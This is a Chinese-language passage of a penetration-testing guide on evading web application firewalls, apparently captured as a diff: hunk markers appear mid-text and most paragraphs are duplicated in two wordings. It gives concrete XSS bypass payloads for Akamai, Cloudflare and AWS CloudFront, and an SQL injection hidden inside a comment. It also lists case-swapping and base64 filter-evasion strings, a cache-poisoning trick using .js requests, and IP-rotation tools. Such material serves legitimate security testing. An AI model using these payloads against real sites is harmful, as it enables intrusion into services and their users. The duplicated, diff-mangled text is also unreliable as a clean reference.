- 来自 [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
- 来自[**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
最多 128KB。
最多128KB。
### 混淆 <a href="#obfuscation" id="obfuscation"></a>
### 静态资产检查漏洞 (.js GETs)
一些CDN/WAF堆栈对静态资产的GET请求（例如以`.js`结尾的路径）应用弱或没有内容检查，同时仍然应用全局规则，如速率限制和IP声誉。结合静态扩展的自动缓存，这可能被滥用以传递或播种影响后续HTML响应的恶意变体。
实际用例：
- 在GET请求到`.js`路径时，在不受信任的头部（例如`User-Agent`）中发送有效负载，以避免内容检查，然后立即请求主HTML以影响缓存变体。
- 使用新鲜/干净的IP；一旦IP被标记，路由更改可能会使该技术不可靠。
- 在Burp Repeater中，使用“并行发送组”（单包样式）来竞速两个请求（`.js`然后是HTML）通过相同的前端路径。
这与头部反射缓存中毒很好地配对。见：
- {{#ref}}
cache-deception/README.md
{{#endref}}
- [我如何在一个公共BBP中发现0点击账户接管并利用它访问管理员级功能](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
### 混淆 <a href="#ip-rotation" id="ip-rotation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
@ -145,11 +162,11 @@ Connection: close\r\n
正如在 [**这篇博客文章**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) 中提到的，为了绕过能够维护用户输入上下文的 WAF，我们可以利用 WAF 技术来实际规范化用户输入。
例如，在文章中提到 **Akamai 对用户输入进行了 10 次 URL 解码**。因此，像 `<input/%2525252525252525253e/onfocus` 这样的内容将被 Akamai 视为 `<input/>/onfocus`，这 **可能认为是可以的，因为标签是闭合的**。然而，只要应用程序没有对输入进行 10 次 URL 解码，受害者将看到类似 `<input/%25252525252525253e/onfocus` 的内容，这 **仍然有效用于 XSS 攻击**。
例如，在文章中提到 **Akamai 对用户输入进行了 10 次 URL 解码**。因此，像 `<input/%2525252525252525253e/onfocus` 这样的内容将被 Akamai 视为 `<input/>/onfocus`，这 **可能认为是可以的，因为标签已关闭**。然而，只要应用程序没有对输入进行 10 次 URL 解码，受害者将看到类似 `<input/%25252525252525253e/onfocus` 的内容，这 **仍然有效用于 XSS 攻击**。
因此，这允许在 WAF 将解码和解释的编码组件中 **隐藏有效载荷**，而受害者则看不到。
因此，这允许 **在编码组件中隐藏有效负载**，WAF 将解码并解释，而受害者则不会。
此外，这不仅可以通过 URL 编码的有效载荷来实现，还可以通过其他编码方式，如 unicode、hex、octal 等...
此外，这不仅可以通过 URL 编码的有效负载来实现，还可以通过其他编码方式，如 unicode、hex、octal 等。
在文章中建议了以下最终绕过方法：
@ -158,7 +175,7 @@ Connection: close\r\n
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
还提到，根据 **某些 WAF 如何理解用户输入的上下文**，可能会存在滥用的可能性。博客中提出的例子是 Akamai 允许在 `/*` 和 `*/` 之间放置任何内容（可能是因为这通常用作注释）。因此，像 `/*'or sleep(5)-- -*/` 这样的 SQL 注入将不会被捕获，并且是有效的，因为 `/*` 是注入的起始字符串，而 `*/` 是注释。
还提到，根据 **某些 WAF 如何理解用户输入的上下文**，可能会存在滥用的可能。博客中提出的例子是 Akamai 允许在 `/*` 和 `*/` 之间放置任何内容（可能是因为这通常用作注释）。因此，像 `/*'or sleep(5)-- -*/` 这样的 SQL 注入将不会被捕获，并且是有效的，因为 `/*` 是注入的起始字符串，而 `*/` 是注释。
这些上下文问题也可以用来 **滥用其他比 WAF 预期的漏洞**（例如，这也可以用来利用 XSS）。
@ -173,12 +190,12 @@ h2c-smuggling.md
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): 生成一个 API 网关 URL 以供 ffuf 使用
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): 类似于 fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): 使用 API 网关 IP 的 Burp Suite 插件
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 根据输入文件大小和拆分因子动态确定的容器实例数量被激活，输入被拆分为多个块以进行并行执行，例如 100 个实例处理来自 10,000 行输入文件的 100 个块，拆分因子为 100 行。
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 根据输入文件大小和拆分因子动态确定的容器实例数量被激活，输入被拆分为块以进行并行执行，例如 100 个实例处理来自 10,000 行输入文件的 100 个块，拆分因子为 100 行。
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
### 正则表达式绕过
可以使用不同的技术来绕过防火墙上的正则表达式过滤器。示例包括交替大小写、添加换行符和编码有效载荷。各种绕过的资源可以在 [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) 和 [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) 找到。以下示例来自 [这篇文章](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)。
可以使用不同的技术来绕过防火墙上的正则表达式过滤器。示例包括交替大小写、添加换行符和编码有效负载。各种绕过的资源可以在 [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) 和 [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) 中找到。以下示例摘自 [这篇文章](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)。
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
@ -203,12 +220,13 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp 插件，通过长度向请求添加垃圾数据以绕过 WAF
## 参考
## 参考文献
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
{{#include ../banners/hacktricks-training.md}}